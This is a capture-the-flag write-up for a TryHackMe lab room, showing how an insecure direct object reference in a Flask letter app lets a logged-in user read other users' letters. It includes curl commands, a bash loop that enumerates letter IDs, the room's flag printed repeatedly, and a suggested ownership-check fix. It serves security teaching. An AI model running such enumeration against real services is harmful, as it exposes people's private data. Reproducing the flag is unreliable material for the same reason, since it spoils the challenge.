Skip to main content

Writeup — "LoveLetter Locker" (IDOR)

TryHackMe · Cupid’s "LoveLetter Locker" · Flask web app on port 5000
An insecure object reference that lets any user read anyone else’s love letters by number.
Objective
Exploit a broken access control on the letter archive: enumerate letter IDs and read a letter you don't own, recovering the flag hidden inside another user's message.
Flag
THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}

Table of Contents

1. Reconnaissance

1

Service fingerprint

curl -i http://10.65.159.106:5000/

HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.12.3
Content-Type: text/html; charset=utf-8

Fingerprint: a Flask app (Werkzeug dev server) running on Python 3.12. The homepage brands the service as “LoveLetter Locker” with Login/Register links.

2

Route discovery

GET /            200   Home
GET /login       200   Login form
GET /register    200   Register form
GET /letters     302   redirect to /login (auth required)
GET /letters/new 302   redirect to /login (auth required)
GET /admin       404
GET /dashboard   404
GET /api         404
GET /.git/HEAD   404

The only interesting authenticated area is /letters — so the attack surface is inside the letter management functionality.

2. Registering an Account

3

Create a test user

curl -c cj.txt -X POST http://10.65.159.106:5000/register \
     -d 'username=testuser123&password=testpass123'   # 302 → /login

curl -c cj.txt -b cj.txt -X POST http://10.65.159.106:5000/login \
     -d 'username=testuser123&password=testpass123'   # 302 → /letters, session cookie set

Registration is open to anyone, so we can create our own low-privilege account to explore the app from the inside.

3. Understanding the App

4

Dashboard & a hint from Cupid

GET /letters   (authenticated)

My Letters 💌                    [New Letter]
Total letters in Cupid's archive: 2

Tip from Cupid 😇
  Every love letter gets a unique number in the archive.
  Numbers make everything easier to find.

The list page only shows our own letters, but the copy explicitly tells us letters have a unique number — a direct hint that they are addressable by numeric ID.

5

Letter creation → numeric IDs

POST /letters/new  title=Hello Test&body=This is a test letter  # 302 → /letters

After creating a letter, the list shows an “Open” button pointing to a numeric route:

<a class="btn secondary" href="/letter/3">Open</a>

So each letter lives at /letter/<id> — and "Total letters in the archive" is global, not per-user.

4. The IDOR — Enumerating Letters

6

Walk the numeric IDs

for i in 1 2 3 4 5; do curl -s -b cj.txt "http://10.65.159.106:5000/letter/$i"; done

# /letter/1 → 200  (a letter we do NOT own)
# /letter/2 → 200  (a letter we do NOT own)
# /letter/3 → 200  (our own test letter)
# /letter/4 → 302  (does not exist)

The server never checks who owns the letter. Any authenticated user can request any ID. This is a classic Insecure Direct Object Reference (IDOR) — a broken-access-control bug.

Observation: the letter view endpoint returns 200 for other users' letters, 302 only when the ID doesn't exist.

5. Recovering the Flag

7

Reading letter #1

GET /letter/1

💌 To my secret Valentine ❤️            [Letter #1]
Archived: 2026-01-19 10:46:35

My dearest...

THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}

Forever yours,
Gonz0

Letter #1 belongs to another user (Gonz0) and contains the flag embedded in the message body. Our account never appeared in the author or recipient — it was reachable purely by guessing the numeric ID.

8

Result

THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}

The flag text itself reads: "I can read all letters with this IDOR."

6. How the App Should Be Fixed

The backend should resolve the letter's owner and compare it with the current session user before rendering:

# Flask pseudo-fix
@app.route('/letter/<int:letter_id>')
def view_letter(letter_id):
    letter = db.get_letter(letter_id)
    if letter is None:
        abort(404)
    if letter.owner_id != current_user.id:      # authorization check
        abort(403)
    return render_template('letter.html', letter=letter)
  • Authorization ≠ authentication: being logged in must not imply access to every object.
  • Owner check: every object access should verify owner_id against the session.
  • Fail closed: missing object → 404; wrong owner → 403; never fall through to render.
  • Don't trust sequential IDs: if needed for hiding, use unguessable opaque IDs (UUIDs), but never instead of an ownership check.

7. Key Takeaways

  • Numeric IDs are a giveaway: any resource reachable as /resource/1,2,3… should be tested for IDOR.
  • In-app hints matter: “Every love letter gets a unique number” was an intentional breadcrumb toward ID enumeration.
  • Enumerate cheaply: a 3-line bash loop over IDs is enough to find missing ownership checks.
  • Owner check: the fix is a single authorization comparison — cheap to implement, easy to forget.

Flag: THM{1_c4n_r3ad_4ll_l3tters_w1th_th1s_1d0r}